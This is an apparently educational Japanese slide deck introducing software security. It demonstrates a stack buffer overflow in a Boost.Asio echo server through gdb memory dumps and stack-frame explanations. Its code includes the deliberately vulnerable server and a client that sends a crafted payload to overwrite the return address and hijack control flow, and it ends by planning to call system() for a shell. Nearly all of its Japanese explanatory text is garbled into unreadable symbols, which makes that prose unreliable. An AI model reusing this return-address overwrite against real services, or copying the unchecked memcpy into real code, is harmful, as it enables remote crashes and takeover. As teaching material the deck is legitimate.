セキュリティ入門

Slide 1

Slide 1 text

ηΩϡϦςΟೖ໳ NAOMASA MATSUBAYASHI

Slide 2

Slide 2 text

ηΩϡϦςΟͷ໨ඪ

Slide 3

Slide 3 text

େࣄͳσʔλ αʔό ળྑͳϢʔβ ѱҙ͋ΔϢʔβ େࣄͳσʔλΛकΔ࠷΋؆୯Ͱ࣮֬ͳํ๏͸ Ұ੾ͷΞΫηεΛड͚෇͚ͳ͍ࣄͰ͋Δ

Slide 4

Slide 4 text

େࣄͳσʔλ ળྑͳϢʔβ ѱҙ͋ΔϢʔβ αʔό ͔͠͠αʔό͸αʔϏεΛఏڙ͢ΔͨΊʹ ϢʔβͷཁٻΛड͚෇͚ͳ͚Ε͹ͳΒͳ͍

Slide 5

Slide 5 text

େࣄͳσʔλ ળྑͳϢʔβ ѱҙ͋ΔϢʔβ αʔό ҙਤͨ͠௨Γʹ࢖͏ϢʔβΛड͚෇͚ͳ͕Β ҙਤ͠ͳ͍࢖͍ํΛ͢ΔϢʔβΛڋ൱͢Δඞཁ͕͋Δ

Slide 6

Slide 6 text

༏ΕͨηΩϡϦςΟͱ͸ ҙਤͨ͠࢖͍ํͱ ҙਤ͠ͳ͍࢖͍ํΛ ΑΓਖ਼֬ʹࣝผ͢Δ͜ͱ͕Ͱ͖Δࣄ

Slide 7

Slide 7 text

ҙਤ͠ͳ͍࢖͍ํͱ͸

Slide 8

Slide 8 text

#include #include #include namespace asio = boost::asio; using boost::asio::ip::tcp; using sock_p = std::shared_ptr< tcp::socket >; using buf_p = std::shared_ptr< asio::streambuf >; using error_type = boost::system::error_code; struct session : public std::enable_shared_from_this< session > { session( asio::io_service &io ) : sock( io ) {} void read() { boost::asio::async_read_until( sock, buf, '\n', boost::bind( &session::check_on_read, shared_from_this(), asio::placeholders::bytes_transferred, asio::placeholders::error ) ); } void write( const char *data, size_t len ) { boost::asio::async_write( sock, boost::asio::buffer( data, len ), boost::bind( &session::check_on_write, shared_from_this(), asio::placeholders::error ) ); } tcp::socket &get_socket() { return sock; } private: void check_on_read( size_t len, const error_type& e ) { if( e && e != boost::asio::error::eof ) return; on_read( len ); } void on_read( size_t len ) { char received[ 32 ]; std::memcpy( received, asio::buffer_cast( buf.data() ), len ); buf.consume( len ); https://wandbox.org/permlink/eucMJp4DkeLhnGlq όάͷ͋ΔΤίʔαʔό

Slide 9

Slide 9 text

buf.consume( len ); received[ len ] = '\0'; write( received, len ); } void check_on_write( const error_type& e ) { if( e && e != boost::asio::error::eof ) return; on_write(); } void on_write() { read(); } tcp::socket sock; asio::streambuf buf; }; struct server { server( asio::io_service &io_ ) : io( io_ ), acc( io, tcp::endpoint( tcp::v4(), 20000 ) ) { accept(); } void accept() { std::shared_ptr< session > s( new session( io ) ); acc.async_accept( s->get_socket(), boost::bind( &server::on_accept, this, s, asio::placeholders::error ) ); } private: void on_accept( const std::shared_ptr< session > &s, const error_type& e ) { if( !e ) s->read(); accept(); } asio::io_service &io; boost::asio::ip::tcp::acceptor acc; }; int main() { asio::io_service io; server s( io ); io.run(); } https://wandbox.org/permlink/eucMJp4DkeLhnGlq όάͷ͋ΔΤίʔαʔό

Slide 10

Slide 10 text

} void on_read( size_t len ) { char received[ 32 ]; std::memcpy( received, asio::buffer_cast( buf.data() ), len ); buf.consume( len ); received[ len ] = '\0'; write( received, len ); } void check_on_write( const error_type& e ) { if( e && e != boost::asio::error::eof ) return; on_write(); } void on_write() { read(); } tcp::socket sock; asio::streambuf buf; }; struct server { server( asio::io_service &io_ ) : io( io_ ), acc( io, tcp::endpoint( tcp::v4(), 20000 ) ) { accept(); } void accept() { std::shared_ptr< session > s( new session( io ) ); acc.async_accept( s->get_socket(), boost::bind( &server::on_accept, this, s, asio::placeholders::error ) ); } private: void on_accept( const std::shared_ptr< session > &s, const error_type& e ) { if( !e ) s->read(); accept(); } asio::io_service &io; boost::asio::ip::tcp::acceptor acc; }; int main() { asio::io_service io; https://wandbox.org/permlink/eucMJp4DkeLhnGlq ݻఆ௕ ௨৴Ͱड͚औͬͨσʔλ͕ ݻఆ௕ͷ഑ྻʹऩ·ΔαΠζͱ͸ݶΒͳ͍ ϦϞʔτ͔ΒόοϑΝΦʔόʔϥϯΛىͤ͜Δ όάͷ͋ΔΤίʔαʔό void on_read( size_t len ) { char received[ 32 ]; std::memcpy( received, asio::buffer_cast( buf.data() ), len ); buf.consume( len ); received[ len ] = '\0'; write( received, len ); }

Slide 11

Slide 11 text

$ ./tiny_server $ telnet localhost 20000 Trying ::1... Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. Hello, World! Hello, World! ૹ৴ͨ͠σʔλ όΠτ ΫϥΠΞϯτ αʔό ड৴ͨ͠σʔλ όΠτ receivedͷαΠζʹऩ·͍ͬͯΔ৔߹ɺҙਤͨ͠ಈ͖Λ͍ͯ͠Δ

Slide 12

Slide 12 text

$ telnet localhost 20000 Trying ::1... Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. Hello, World! I would like to crash this server. Blah blah blah... Hello, World! I would like to crash this server. Blah blah blah... Connection closed by foreign host. ΫϥΠΞϯτ αʔό $ ./tiny_server Segmentation fault αʔό͕ࢮΜͩ

Slide 13

Slide 13 text

߈ܸऀ͕αʔϏεΛར༻ෆೳʹͰ͖ΔࣄΛ Denial of Service߈ܸ ུͯ͠DoS߈ܸ͕Մೳͱݴ͏

Slide 14

Slide 14 text

ͱ͜ΖͰ͖ͬ͞ͷαʔό͸ ԿނࢮΜͩ

Slide 15

Slide 15 text

$ gdb -q tiny_server Reading symbols from tiny_server...done. (gdb) disas session::on_read Dump of assembler code for function session::on_read(unsigned long): … 0x000000000040a6c3 <+69>: callq 0x403340 0x000000000040a6c8 <+74>: mov -0x38(%rbp),%rax … (gdb) b *0x40a6c3 Breakpoint 1 at 0x40a6c3: file tiny_server.cpp, line 38. (gdb) b *0x40a6c8 Breakpoint 2 at 0x40a6c8: file tiny_server.cpp, line 39. (gdb) run Starting program: /home/fadis/tiny_server [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Breakpoint 1, 0x000000000040a6c3 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:38 38 std::memcpy( received, asio::buffer_cast( buf.data() ), len ); (gdb) p &received $1 = (char (*)[32]) 0x7fffffffd2c0 (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0xffffd380 0x00007fff 0x0040fe53 0x00000000 0x7fffffffd2d0: 0x006331b0 0x00000000 0x00000044 0x00000000 σόοΨͰαʔό͕ࢮΜͩॠؒΛݟͯΈΑ͏ Ͳ͜ʹ໰୊͕͋Δ͔͸طʹΘ͔͍ͬͯΔͷͰ όοϑΝΦʔόʔϥϯΛҾ͖ى͜͢memcpyͷલޙͰ ϒϨʔΫϙΠϯτΛு͓ͬͯ͘

Slide 16

Slide 16 text

Starting program: /home/fadis/tiny_server [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Breakpoint 1, 0x000000000040a6c3 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:38 38 std::memcpy( received, asio::buffer_cast( buf.data() ), len ); (gdb) p &received $1 = (char (*)[32]) 0x7fffffffd2c0 (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0xffffd380 0x00007fff 0x0040fe53 0x00000000 0x7fffffffd2d0: 0x006331b0 0x00000000 0x00000044 0x00000000 0x7fffffffd2e0: 0x006331b0 0x00000000 0x00000044 0x00000000 0x7fffffffd2f0: 0xffffd340 0x00007fff 0x0040a674 0x00000000 0x7fffffffd300: 0x00000043 0x00000000 0xffffd5d0 0x00007fff 0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) c Continuing. Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39 39 buf.consume( len ); (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021 0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f 0x7fffffffd2e0: 0x20687361 0x73696874 0x72657320 0x2e726576 ΫϥΠΞϯτ͔Βಧ͍ͨϝοηʔδΛ receivedʹॻ͖ࠐΉ௚લͷ received͔Β256όΠτͷϝϞϦͷঢ়ଶ receivedͷͨΊʹ֬อ͞Ε͍ͯΔ32όΠτ

Slide 17

Slide 17 text

0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) c Continuing. Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39 39 buf.consume( len ); (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021 0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f 0x7fffffffd2e0: 0x20687361 0x73696874 0x72657320 0x2e726576 0x7fffffffd2f0: 0x616c4220 0x6c622068 0x62206861 0x2e68616c 0x7fffffffd300: 0x0a0d2e2e 0x00000000 0xffffd5d0 0x00007fff 0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) i r rsp rbp rsp 0x7fffffffd2b0 0x7fffffffd2b0 rbp 0x7fffffffd2f0 0x7fffffffd2f0 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42 42 } ΫϥΠΞϯτ͔Βಧ͍ͨϝοηʔδΛ receivedʹॻ͖ࠐΜͩ௚ޙͷ received͔Β256όΠτͷϝϞϦͷঢ়ଶ receivedͷͨΊʹ֬อ͞Ε͍ͯΔ32όΠτ

Slide 18

Slide 18 text

0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) c Continuing. Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39 39 buf.consume( len ); (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021 0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f 0x7fffffffd2e0: 0x20687361 0x73696874 0x72657320 0x2e726576 0x7fffffffd2f0: 0x616c4220 0x6c622068 0x62206861 0x2e68616c 0x7fffffffd300: 0x0a0d2e2e 0x00000000 0xffffd5d0 0x00007fff 0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) i r rsp rbp rsp 0x7fffffffd2b0 0x7fffffffd2b0 rbp 0x7fffffffd2f0 0x7fffffffd2f0 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42 42 } ͜ͷҐஔʹվߦจࣈ͕ݟ͑ΔͨΊ ഑ྻͷऴ୺Λ௒͑ͯ ͜͜·Ͱॻ͖ࠐΈ͕ߦΘΕͨ͜ͱ͕Θ͔Δ receivedͷͨΊʹ֬อ͞Ε͍ͯΔ32όΠτ

Slide 19

Slide 19 text

(gdb) i r rsp rbp rsp 0x7fffffffd2b0 0x7fffffffd2b0 rbp 0x7fffffffd2f0 0x7fffffffd2f0 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42 42 } (gdb) backtrace #0 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42 #1 0x2e68616c62206861 in ?? () #2 0x000000000a0d2e2e in ?? () #3 0x00007fffffffd5d0 in ?? () #4 0x0000000000000044 in ?? () #5 0x0000000000632ef0 in ?? () #6 0x00007fffffffd340 in ?? () #7 0x0000000000412898 in boost::get_pointer ( p=) at /usr/include/boost/get_pointer.hpp:69 Backtrace stopped: Cannot access memory at address 0x6c622068616c4228 (gdb) disas … => 0x000000000040a706 <+136>: retq End of assembler dump. (gdb) Կॲ ࣮ߦΛଓ͚Δͱon_read͔Βreturnͨ͠ॴͰࢮ͵ όοΫτϨʔεΛݟΔͱon_read͕ฦΖ͏ͱͨ͠ ݺͼग़͠ݩͷؔ਺ͷΞυϨε͕͓͔͍͠

Slide 20

Slide 20 text

0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) c Continuing. Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39 39 buf.consume( len ); (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021 0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f 0x7fffffffd2e0: 0x20687361 0x73696874 0x72657320 0x2e726576 0x7fffffffd2f0: 0x616c4220 0x6c622068 0x62206861 0x2e68616c 0x7fffffffd300: 0x0a0d2e2e 0x00000000 0xffffd5d0 0x00007fff 0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) i r rsp rbp rsp 0x7fffffffd2b0 0x7fffffffd2b0 rbp 0x7fffffffd2f0 0x7fffffffd2f0 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42 42 } (gdb) backtrace #0 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42 #1 0x2e68616c62206861 in ?? () #2 0x000000000a0d2e2e in ?? () ͜ͷΞυϨε͸ ͖ͬ͞ॻ͖ࠐΜͩϝοηʔδͷҰ෦ͩ

Slide 21

Slide 21 text

$16ͷߏ଄ CPU rax rbx rcx rdx rsi rdi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 ࠓ೔ͷIntelϓϩηοαʹ͸ ܭࢉʹ࢖͏஋ΛೖΕ͓ͯ͘ശ(Ϩδελ)͕ 16ݸඋΘ͍ͬͯΔ 16ݸͰ͸଍Γͳ͘ͳͬͨΒ ࠓ͙͍͢Βͳ͍஋ΛϝϞϦʹҠͯ͠ϨδελΛۭ͚Δ

Slide 22

Slide 22 text

ελοΫ CPU rax rbx rcx rdx rsi rdi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 Ϩδελ͔Βୀආͨ͠஋͕ੵ·Ε͍ͯ͘ ୀආͨ͠஋͕࠶ͼඞཁʹͳͬͨΒ ্͔ΒऔΓग़͍ͯ͘͠ rdi͔ΒҠͨ͠஋ rax͔ΒҠͨ͠஋ rbp͔ΒҠͨ͠஋ rdi͔ΒҠͨ͠஋ ͜ͷΑ͏ʹ࢖ΘΕΔϝϞϦྖҬΛ ελοΫͱݺͿ

Slide 23

Slide 23 text

ελοΫ int f( int x, int y ) { int i; i = x * y; return i; } ͜ͷiͷΑ͏ͳϩʔΧϧม਺͸ ελοΫͷதʹஔ͔Ε͍ͯΔ ଞͷม਺౳ ଞͷม਺౳ ଞͷม਺౳ i ϩʔΧϧม਺͕࡞ΒΕΔͱελοΫʹ஋͕ੵ·Ε είʔϓΛൈ͚ΔͱελοΫͷ஋͕ഁغ͞ΕΔ

Slide 24

Slide 24 text

int f( int i, int j ) { return i + j; } int g() { return f( 2, 3 ); } ؔ਺ݺͼग़͠Λߦ͏ͱcallq໋ྩ͕ੜ੒͞ΕΔ return͢Δͱretq໋ྩ͕ੜ੒͞ΕΔ 00000000004004b6 : 4004b6: 55 push %rbp 4004b7: 48 89 e5 mov %rsp,%rbp 4004ba: 89 7d fc mov %edi,-0x4(%rbp) 4004bd: 89 75 f8 mov %esi,-0x8(%rbp) 4004c0: 8b 55 fc mov -0x4(%rbp),%edx 4004c3: 8b 45 f8 mov -0x8(%rbp),%eax 4004c6: 01 d0 add %edx,%eax 4004c8: 5d pop %rbp 4004c9: c3 retq 00000000004004ca : 4004ca: 55 push %rbp 4004cb: 48 89 e5 mov %rsp,%rbp 4004ce: be 03 00 00 00 mov $0x3,%esi 4004d3: bf 02 00 00 00 mov $0x2,%edi 4004d8: e8 d9 ff ff ff callq 4004b6 4004dd: 5d pop %rbp 4004de: c3 retq callq͸ελοΫʹ callqͷ࣍ͷΞυϨεΛੵΜͰ Ҿ਺Ͱࢦఆ͞ΕͨΞυϨεʹඈͿ retq͸ελοΫͷઌ಄ʹੵ·Εͨ ΞυϨεʹඈΜͰ ελοΫͷઌ಄ͷ஋ΛࣺͯΔ ͜ͷ૊Έ߹ΘͤͰ ؔ਺Λൈ͚ͨΒݩͷ৔ॴʹ໭Δ ͕࣮ݱ͞Ε͍ͯΔ

Slide 25

Slide 25 text

ؔ਺fͷม਺ ؔ਺fͷม਺ ؔ਺fͷม਺ ؔ਺g͕ऴΘͬͨΒ໭ΔҐஔ ؔ਺gͷม਺ ؔ਺gͷม਺ ؔ਺h͕ऴΘͬͨΒ໭ΔҐஔ ؔ਺hͷม਺ ؔ਺hͷม਺ ؔ਺hͷม਺ ؔ਺f͕ؔ਺gΛݺΜͰ ͦͷதͰؔ਺h͕ݺ͹Ε͍ͯΔ࣌ͷελοΫ ࣮ߦதͷؔ਺ʹͱͬͯͷ ελοΫͷઌ಄ͱ຤ඌͷҐஔ͸$16ͷ %rspϨδελͱ%rbpϨδελʹ ه࿥͞Ε͍ͯΔ

Slide 26

Slide 26 text

ؔ਺fͷม਺ ؔ਺fͷม਺ ؔ਺fͷม਺ ؔ਺g͕ऴΘͬͨΒ໭ΔҐஔ ؔ਺gͷม਺ ؔ਺gͷม਺ ؔ਺h͕ऴΘͬͨΒ໭ΔҐஔ ؔ਺hͷม਺ ؔ਺hͷม਺ ؔ਺hͷม਺ ؔ਺͸callq͞ΕͨΒ·ͣ ݱࡏͷ%rbpΛελοΫʹੵΜͰ %rbpΛ%rspʹ͢Δ ͭ·Γݺͼग़͠ݩͷؔ਺ͷελοΫͷઌ಄Λ ͜Ε͔Β࣮ߦ͢Δؔ਺ͷελοΫͷ຤ඌʹ͢Δ ؔ਺fͷSCQ ؔ਺gͷSCQ ؔ਺͔Βretq͢Δ௚લʹ %rbpΛελοΫͷઌ಄ͷ஋ʹͯ͠ ελοΫͷઌ಄ͷ஋Λഁغ͢Δ

Slide 27

Slide 27 text

00000000004004b6 : 4004b6: 55 push %rbp 4004b7: 48 89 e5 mov %rsp,%rbp 4004ba: 89 7d fc mov %edi,-0x4(%rbp) 4004bd: 89 75 f8 mov %esi,-0x8(%rbp) 4004c0: 8b 55 fc mov -0x4(%rbp),%edx 4004c3: 8b 45 f8 mov -0x8(%rbp),%eax 4004c6: 01 d0 add %edx,%eax 4004c8: 5d pop %rbp 4004c9: c3 retq 00000000004004ca : 4004ca: 55 push %rbp 4004cb: 48 89 e5 mov %rsp,%rbp 4004ce: be 03 00 00 00 mov $0x3,%esi 4004d3: bf 02 00 00 00 mov $0x2,%edi 4004d8: e8 d9 ff ff ff callq 4004b6 4004dd: 5d pop %rbp 4004de: c3 retq SCQΛελοΫʹੵΉ SCQΛSTQͷ஋ʹ͢Δ SCQΛελοΫͷ஋ʹ͢Δ ελοΫʹॻ͔ΕͨΞυϨεʹ໭Δ ͜ͷล͕ؔ਺ͷॲཧͷຊମ

Slide 28

Slide 28 text

(gdb) run Starting program: /home/fadis/tiny_server [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Breakpoint 1, 0x000000000040a6c3 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:38 38 std::memcpy( received, asio::buffer_cast( buf.data() ), len ); (gdb) p &received $1 = (char (*)[32]) 0x7fffffffd2c0 (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0xffffd380 0x00007fff 0x0040fe53 0x00000000 0x7fffffffd2d0: 0x006331b0 0x00000000 0x00000044 0x00000000 0x7fffffffd2e0: 0x006331b0 0x00000000 0x00000044 0x00000000 0x7fffffffd2f0: 0xffffd340 0x00007fff 0x0040a674 0x00000000 0x7fffffffd300: 0x00000043 0x00000000 0xffffd5d0 0x00007fff 0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) c Continuing. Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39 39 buf.consume( len ); (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021 0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f ͔͜͜Β্͕ on_readͷελοΫ (gdb) i r rsp rbp rsp 0x7fffffffd2b0 0x7fffffffd2b0 rbp 0x7fffffffd2f0 0x7fffffffd2f0 on_readʹுͬͨϒϨʔΫϙΠϯτͰͷ %rbpͱ%rspͷ஋ on_readΛݺͼग़ͨؔ͠਺ͷ%rbp on_read͕returnͨ͠ࡍʹඈͿઌͷΞυϨε όοϑΝΦʔόʔϥϯલ

Slide 29

Slide 29 text

0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) c Continuing. Breakpoint 2, session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:39 39 buf.consume( len ); (gdb) x/40wx 0x7fffffffd2c0 0x7fffffffd2c0: 0x6c6c6548 0x57202c6f 0x646c726f 0x20492021 0x7fffffffd2d0: 0x6c756f77 0x696c2064 0x7420656b 0x7263206f 0x7fffffffd2e0: 0x20687361 0x73696874 0x72657320 0x2e726576 0x7fffffffd2f0: 0x616c4220 0x6c622068 0x62206861 0x2e68616c 0x7fffffffd300: 0x0a0d2e2e 0x00000000 0xffffd5d0 0x00007fff 0x7fffffffd310: 0x00000044 0x00000000 0x00632ef0 0x00000000 0x7fffffffd320: 0xffffd340 0x00007fff 0x00412898 0x00000000 0x7fffffffd330: 0xffffd5c0 0x00007fff 0x00000044 0x00000000 0x7fffffffd340: 0xffffd380 0x00007fff 0x00411cdc 0x00000000 0x7fffffffd350: 0xffffd7b0 0x00007fff 0xffffd5d0 0x00007fff (gdb) i r rsp rbp rsp 0x7fffffffd2b0 0x7fffffffd2b0 rbp 0x7fffffffd2f0 0x7fffffffd2f0 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x000000000040a706 in session::on_read (this=0x632ef0, len=68) at tiny_server.cpp:42 ͔͜͜Β্͕ on_readͷελοΫ (gdb) i r rsp rbp rsp 0x7fffffffd2b0 0x7fffffffd2b0 rbp 0x7fffffffd2f0 0x7fffffffd2f0 on_readʹுͬͨϒϨʔΫϙΠϯτͰͷ %rbpͱ%rspͷ஋ on_readΛݺͼग़ͨؔ͠਺ͷ%rbp on_read͕returnͨ͠ࡍʹඈͿઌͷΞυϨε όοϑΝΦʔόʔϥϯޙ returnΞυϨε͕ॻ͖׵Θͬͯ͠·ͬͨ

Slide 30

Slide 30 text

#1 0x2e68616c62206861 in ?? () #2 0x000000000a0d2e2e in ?? () returnΞυϨε͕ॻ͖׵Θͬͨঢ়ଶͰretqͨ݁͠Ռ ΞυϨε͕ࢦ͢ઌͷϝϞϦʹΞΫηεͰ͖ͳ͔ͬͨҝ ൣғ֎ࢀরͰϓϩηε͕ఀࢭͨ͠ όοϑΝΦʔόʔϥϯʹΑͬͯ ഑ྻreceivedͷઌʹஔ͍ͯ͋ͬͨ returnΞυϨε͕ॻ͖׵͑ΒΕͯ͠·ͬͨ

Slide 31

Slide 31 text

ॻ͖׵͑ΒΕͨΞυϨε͕ ΞΫηεՄೳͩͬͨΒ Կ͕ى͍ͬͯͨ͜

Slide 32

Slide 32 text

#include #include int main() { namespace asio = boost::asio; using boost::asio::ip::tcp; asio::io_service io_service; tcp::socket socket(io_service); socket.connect( tcp::endpoint( asio::ip::address::from_string("127.0.0.1"), 20000 ) ); std::vector< uint8_t > data { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x24, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00, 0x0d, 0x0a, }; boost::system::error_code error; asio::write(socket, asio::buffer(data), error); return 0; if( !error ) { asio::streambuf receive_buffer; asio::read_until(socket, receive_buffer, '\n', error); std::cout << asio::buffer_cast(receive_buffer.data()) << std::endl; } } ࡉ޻ͨ͠σʔλΛૹΔΫϥΠΞϯτ

Slide 33

Slide 33 text

Slide 34

Slide 34 text

$ ./pktgen ΫϥΠΞϯτ αʔό $ gdb -q ./tiny_server Reading symbols from ./tiny_server...done. (gdb) run Starting program: /home/fadis/tiny_server [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/ libthread_db.so.1". Program received signal SIGABRT, Aborted. 0x00007ffff6f61228 in raise () from / lib64/libc.so.6 (gdb) backtrace #0 0x00007ffff6f61228 in raise () from / lib64/libc.so.6 #1 0x00007ffff6f6264a in abort () from / lib64/libc.so.6 #2 0x0000000000000a0d in ?? () #3 0x00007fffffffd5d0 in ?? () SIGSEGVͰ͸ͳ͘SIGABRTͰαʔό͕ఀࢭͨ͠

Slide 35

Slide 35 text

Program received signal SIGABRT, Aborted. 0x00007ffff6f61228 in raise () from / lib64/libc.so.6 (gdb) backtrace #0 0x00007ffff6f61228 in raise () from / lib64/libc.so.6 #1 0x00007ffff6f6264a in abort () from / lib64/libc.so.6 #2 0x0000000000000a0d in ?? () #3 0x00007fffffffd5d0 in ?? () #4 0x0000000000000042 in ?? () #5 0x0000000000632ef0 in ?? () #6 0x00007fffffffd340 in ?? () #7 0x0000000000412898 in boost::get_pointer ( p=) at /usr/include/boost/get_pointer.hpp: 69 Backtrace stopped: previous frame inner to this frame (corrupt stack?) αʔόͷίʔυ্Ͱ͸ ݺΜͰ͍ͳ͍ abortؔ਺͕ ݺ͹Εͨ͜ͱʹͳ͍ͬͯΔ

Slide 36

Slide 36 text

߈ܸऀ͕ࢦఆͨؔ͠਺͕ ࣮ߦ͞Εͯ͠·ͬͨ

Slide 37

Slide 37 text

߈ܸऀ͸αʔόͷίϯτϩʔϧΛखʹೖΕ͍ͨ ͦͷͨΊʹ͸shellΛىಈ͍ͨ͠ खͬऔΓૣ͘shellΛ্ཱͪ͛Δʹ͸ system("࣮ߦ͍ͨ͠ίϚϯυ"); Λݺ΂Ε͹ྑ͍ ೚ҙͷؔ਺Λݺ΂Δ͚ͩͰͳ͘ ೚ҙͷจࣈྻΛҾ਺ͱͯ͠౉ͤΔඞཁ͕͋Δ

Slide 38

Slide 38 text

[1] System V Application Binary Interface AMD64 Architecture Processor Supplement §3.5.7 Variable Argument Lists x86_64 LinuxͰ͸ؔ਺ͷୈҰҾ਺͸ %rdiϨδελͰ౉͢͜ͱʹͳ͍ͬͯΔ[1] ࣮ߦ͍ͨ͠ίϚϯυΛϝϞϦʹॻ্͍ͨͰ Կͱ͔ͯͦ͠ͷΞυϨεΛ%rdiʹ৐ͤͯ retqͰؔ਺Λݺͼग़͢ඞཁ͕͋Δ rax rbp r8 r12 rbx rsp r9 r13 rcx rsi r10 r14 rdx rdi r11 r15

Slide 39

Slide 39 text

